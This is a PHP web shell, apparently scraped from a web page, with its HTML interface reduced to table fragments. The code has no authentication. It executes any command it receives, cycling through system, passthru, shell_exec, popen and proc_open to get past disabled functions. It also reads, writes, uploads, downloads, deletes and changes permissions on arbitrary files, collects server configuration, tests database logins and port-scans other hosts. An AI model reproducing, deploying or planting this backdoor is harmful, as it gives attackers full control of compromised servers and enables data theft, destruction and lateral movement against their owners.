array('system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open', 'pcntl_exec'), 'eval' => array('eval', 'assert', 'create_function', 'preg_replace', 'call_user_func'), 'read' => array('file_get_contents', 'file', 'readfile', 'fopen', 'fread', 'fgets'), 'write' => array('file_put_contents', 'fwrite', 'fputs') ); // Dynamic function loader function getWorkingFunction($type) { global $func_alternatives; $disabled = explode(',', @ini_get('disable_functions')); if(isset($func_alternatives[$type])) { foreach($func_alternatives[$type] as $func) { if(function_exists($func) && !in_array($func, $disabled)) { return $func; } } } return false; } // Enhanced path resolver with multiple fallback methods function resolvePath() { $path = isset($_REQUEST['p']) ? $_REQUEST['p'] : (isset($_COOKIE['last_path']) ? $_COOKIE['last_path'] : ''); if(empty($path)) { // Try multiple methods to get current directory $methods = array( function() { return @getcwd(); }, function() { return @dirname($_SERVER['SCRIPT_FILENAME']); }, function() { return @$_SERVER['DOCUMENT_ROOT']; }, function() { return @dirname(__FILE__); }, function() { return @realpath('.'); } ); foreach($methods as $method) { $result = $method(); if($result && @is_dir($result)) { $path = $result; break; } } if(empty($path)) $path = '.'; } // Normalize path $path = str_replace(array('\\', '//'), '/', $path); $path = rtrim($path, '/') . '/'; // Store in cookie for persistence @setcookie('last_path', $path, time() + 86400); // Validate path if(@is_dir($path)) return $path; if(@is_dir($real = @realpath($path))) return $real . '/'; return './'; } // Execute command with multiple fallback methods function executeCommand($cmd) { $output = ''; // Try different execution methods $methods = array( function($c) use(&$output) { @ob_start(); @system($c); $output = @ob_get_contents(); @ob_end_clean(); return $output; }, function($c) use(&$output) { @ob_start(); @passthru($c); $output = @ob_get_contents(); @ob_end_clean(); return $output; }, function($c) use(&$output) { $output = @shell_exec($c); return $output; }, function($c) use(&$output) { $output = ''; $handle = @popen($c, 'r'); if($handle) { while(!@feof($handle)) { $output .= @fread($handle, 512); } @pclose($handle); } return $output; }, function($c) use(&$output) { $proc = @proc_open($c, array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'w')), $pipes); if(is_resource($proc)) { @fclose($pipes[0]); $output = @stream_get_contents($pipes[1]); @fclose($pipes[1]); @fclose($pipes[2]); @proc_close($proc); } return $output; } ); foreach($methods as $method) { $result = $method($cmd); if($result !== null && $result !== false) { return $result; } } return "Command execution failed or disabled"; } // Multi-method file reader function readContent($file) { // Try different reading methods $methods = array( function($f) { return @file_get_contents($f); }, function($f) { $fp = @fopen($f, 'rb'); if($fp) { $content = ''; while(!@feof($fp)) $content .= @fread($fp, 8192); @fclose($fp); return $content; } }, function($f) { ob_start(); @readfile($f); return ob_get_clean(); }, function($f) { return @implode('', @file($f)); } ); foreach($methods as $method) { $result = $method($file); if($result !== false && $result !== null) return $result; } return ''; } // Multi-method file writer function writeContent($file, $data) { // Try different writing methods if(@file_put_contents($file, $data) !== false) return true; $fp = @fopen($file, 'wb'); if($fp) { $result = @fwrite($fp, $data) !== false; @fclose($fp); return $result; } // Try temp file method $temp = @tempnam(@dirname($file), 'tmp'); if(@file_put_contents($temp, $data) !== false) { return @rename($temp, $file); } return false; } // Enhanced directory scanner function scanPath($dir) { $items = array(); // Try different listing methods if(function_exists('scandir')) { $items = @scandir($dir); } elseif($handle = @opendir($dir)) { while(false !== ($item = @readdir($handle))) { $items[] = $item; } @closedir($handle); } elseif(function_exists('glob')) { $items = array_map('basename', @glob($dir . '*')); } return array_diff($items, array('.', '..', '')); } // File/folder deletion with recursion function deleteItem($path) { if(@is_file($path)) { @chmod($path, 0777); return @unlink($path); } elseif(@is_dir($path)) { $items = scanPath($path); foreach($items as $item) { deleteItem($path . '/' . $item); } return @rmdir($path); } return false; } // Get file permissions function getPermissions($file) { $perms = @fileperms($file); if($perms === false) return '---'; $info = ''; // Owner permissions $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? 'x' : '-'); // Group permissions $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? 'x' : '-'); // Other permissions $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? 'x' : '-'); return $info; } // Check if file is writable (enhanced) function isWritableEnhanced($file) { // Try multiple methods if(@is_writable($file)) return true; // Try to create temp file in directory if(@is_dir($file)) { $test = $file . '/.test_' . md5(time()); if(@touch($test)) { @unlink($test); return true; } } // Check parent directory for files if(@is_file($file)) { $parent = @dirname($file); if(@is_writable($parent)) return true; } return false; } // Sort contents - folders first, then files function sortContents($contents, $currentPath) { $folders = array(); $files = array(); foreach($contents as $item) { $itemPath = $currentPath . $item; if(@is_dir($itemPath)) { $folders[] = $item; } else { $files[] = $item; } } // Sort alphabetically sort($folders, SORT_NATURAL | SORT_FLAG_CASE); sort($files, SORT_NATURAL | SORT_FLAG_CASE); return array('folders' => $folders, 'files' => $files); } // Get system information function getSystemInfo() { $info = array(); // Basic info $info['os'] = @php_uname('s') . ' ' . @php_uname('r') . ' ' . @php_uname('v'); $info['hostname'] = @php_uname('n'); $info['user'] = @get_current_user(); $info['php_version'] = @phpversion(); $info['server'] = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'Unknown'; $info['ip'] = isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : 'Unknown'; $info['port'] = isset($_SERVER['SERVER_PORT']) ? $_SERVER['SERVER_PORT'] : 'Unknown'; // PHP info $info['disable_functions'] = @ini_get('disable_functions') ? @ini_get('disable_functions') : 'None'; $info['open_basedir'] = @ini_get('open_basedir') ? @ini_get('open_basedir') : 'None'; $info['safe_mode'] = @ini_get('safe_mode') ? 'On' : 'Off'; $info['allow_url_fopen'] = @ini_get('allow_url_fopen') ? 'On' : 'Off'; $info['allow_url_include'] = @ini_get('allow_url_include') ? 'On' : 'Off'; $info['memory_limit'] = @ini_get('memory_limit'); $info['max_execution_time'] = @ini_get('max_execution_time'); $info['upload_max_filesize'] = @ini_get('upload_max_filesize'); $info['post_max_size'] = @ini_get('post_max_size'); // Disk space if(function_exists('disk_free_space')) { $free = @disk_free_space('/'); $total = @disk_total_space('/'); if($free !== false && $total !== false) { $info['disk_free'] = round($free / 1073741824, 2) . ' GB'; $info['disk_total'] = round($total / 1073741824, 2) . ' GB'; $info['disk_used'] = round(($total - $free) / 1073741824, 2) . ' GB'; $info['disk_percent'] = round((($total - $free) / $total) * 100, 1) . '%'; } } // MySQL info if(function_exists('mysql_connect') || function_exists('mysqli_connect')) { $info['mysql'] = 'Available'; } else { $info['mysql'] = 'Not Available'; } // Curl info if(function_exists('curl_version')) { $curl_version = @curl_version(); $info['curl'] = $curl_version['version']; } else { $info['curl'] = 'Not Available'; } return $info; } // Process current request $currentPath = resolvePath(); $notification = ''; $editMode = false; $editFile = ''; $editContent = ''; $commandOutput = ''; $activeTab = 'filemanager'; // Handle POST operations if($_SERVER['REQUEST_METHOD'] === 'POST') { // Upload handler if(isset($_FILES['upload'])) { $destination = $currentPath . basename($_FILES['upload']['name']); if(@move_uploaded_file($_FILES['upload']['tmp_name'], $destination)) { $notification = array('type' => 'success', 'text' => 'Upload successful'); } else { $content = readContent($_FILES['upload']['tmp_name']); if(writeContent($destination, $content)) { $notification = array('type' => 'success', 'text' => 'Upload successful'); } else { $notification = array('type' => 'error', 'text' => 'Upload failed'); } } } // Save edited file if(isset($_POST['save']) && isset($_POST['content'])) { $target = $currentPath . $_POST['save']; if(writeContent($target, $_POST['content'])) { $notification = array('type' => 'success', 'text' => 'Changes saved'); } else { $notification = array('type' => 'error', 'text' => 'Save failed'); } } // Create new file if(isset($_POST['newfile']) && isset($_POST['filecontent'])) { $newPath = $currentPath . $_POST['newfile']; if(writeContent($newPath, $_POST['filecontent'])) { $notification = array('type' => 'success', 'text' => 'File created'); } else { $notification = array('type' => 'error', 'text' => 'Creation failed'); } } // Create directory if(isset($_POST['newfolder'])) { $newDir = $currentPath . $_POST['newfolder']; if(@mkdir($newDir, 0777, true)) { $notification = array('type' => 'success', 'text' => 'Folder created'); } else { $notification = array('type' => 'error', 'text' => 'Creation failed'); } } // Rename item if(isset($_POST['oldname']) && isset($_POST['newname'])) { $oldPath = $currentPath . $_POST['oldname']; $newPath = $currentPath . $_POST['newname']; if(@rename($oldPath, $newPath)) { $notification = array('type' => 'success', 'text' => 'Renamed successfully'); } else { $notification = array('type' => 'error', 'text' => 'Rename failed'); } } // Change permissions if(isset($_POST['chmod_item']) && isset($_POST['chmod_value'])) { $target = $currentPath . $_POST['chmod_item']; $mode = octdec($_POST['chmod_value']); if(@chmod($target, $mode)) { $notification = array('type' => 'success', 'text' => 'Permissions changed'); } else { $notification = array('type' => 'error', 'text' => 'Permission change failed'); } } // Execute command if(isset($_POST['command'])) { $command = $_POST['command']; $commandOutput = executeCommand($command); $activeTab = 'terminal'; } // Database connection if(isset($_POST['db_host']) && isset($_POST['db_user']) && isset($_POST['db_pass']) && isset($_POST['db_name'])) { $db_host = $_POST['db_host']; $db_user = $_POST['db_user']; $db_pass = $_POST['db_pass']; $db_name = $_POST['db_name']; if(function_exists('mysqli_connect')) { $conn = @mysqli_connect($db_host, $db_user, $db_pass, $db_name); if($conn) { $notification = array('type' => 'success', 'text' => 'Database connected successfully'); @mysqli_close($conn); } else { $notification = array('type' => 'error', 'text' => 'Database connection failed: ' . @mysqli_connect_error()); } } elseif(function_exists('mysql_connect')) { $conn = @mysql_connect($db_host, $db_user, $db_pass); if($conn && @mysql_select_db($db_name, $conn)) { $notification = array('type' => 'success', 'text' => 'Database connected successfully'); @mysql_close($conn); } else { $notification = array('type' => 'error', 'text' => 'Database connection failed'); } } else { $notification = array('type' => 'error', 'text' => 'MySQL functions not available'); } $activeTab = 'database'; } // Network scan if(isset($_POST['scan_host']) && isset($_POST['scan_port_start']) && isset($_POST['scan_port_end'])) { $host = $_POST['scan_host']; $port_start = intval($_POST['scan_port_start']); $port_end = intval($_POST['scan_port_end']); $open_ports = array(); for($port = $port_start; $port <= $port_end; $port++) { $fp = @fsockopen($host, $port, $errno, $errstr, 1); if($fp) { $open_ports[] = $port; @fclose($fp); } } if(!empty($open_ports)) { $notification = array('type' => 'success', 'text' => 'Open ports: ' . implode(', ', $open_ports)); } else { $notification = array('type' => 'error', 'text' => 'No open ports found'); } $activeTab = 'network'; } } // Handle GET operations if(isset($_GET['do'])) { $action = $_GET['do']; // Delete operation if($action === 'delete' && isset($_GET['item'])) { $target = $currentPath . $_GET['item']; if(deleteItem($target)) { $notification = array('type' => 'success', 'text' => 'Deleted successfully'); } else { $notification = array('type' => 'error', 'text' => 'Delete failed'); } } // Edit operation if($action === 'edit' && isset($_GET['item'])) { $editMode = true; $editFile = $_GET['item']; $editContent = readContent($currentPath . $editFile); $activeTab = 'filemanager'; } // Download operation if($action === 'download' && isset($_GET['item'])) { $downloadPath = $currentPath . $_GET['item']; if(@is_file($downloadPath)) { @ob_clean(); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"'); header('Content-Length: ' . @filesize($downloadPath)); @readfile($downloadPath); exit; } } } // Handle tab switching if(isset($_GET['tab'])) { $activeTab = $_GET['tab']; } // Get directory contents and sort them $rawContents = scanPath($currentPath); $sortedContents = sortContents($rawContents, $currentPath); // System information $systemInfo = getSystemInfo(); ?>
| Name | Type | Size | Permissions | Modified | Actions |
|---|---|---|---|---|---|
| Parent Directory | ?? Folders | '; foreach($sortedContents['folders'] as $folder): $itemPath = $currentPath . $folder; $perms = getPermissions($itemPath); $isWritable = isWritableEnhanced($itemPath); $modified = @filemtime($itemPath); ?>||||
| Folder | - | ?? Files | '; foreach($sortedContents['files'] as $file): $itemPath = $currentPath . $file; $size = @filesize($itemPath); $perms = getPermissions($itemPath); $isWritable = isWritableEnhanced($itemPath); $modified = @filemtime($itemPath); $ext = strtoupper(pathinfo($file, PATHINFO_EXTENSION) ?: 'FILE'); if($size !== false) { if($size < 1024) $size = $size . ' B'; elseif($size < 1048576) $size = round($size/1024, 1) . ' KB'; elseif($size < 1073741824) $size = round($size/1048576, 1) . ' MB'; else $size = round($size/1073741824, 1) . ' GB'; } else { $size = '?'; } ?>|||
| Empty directory | |||||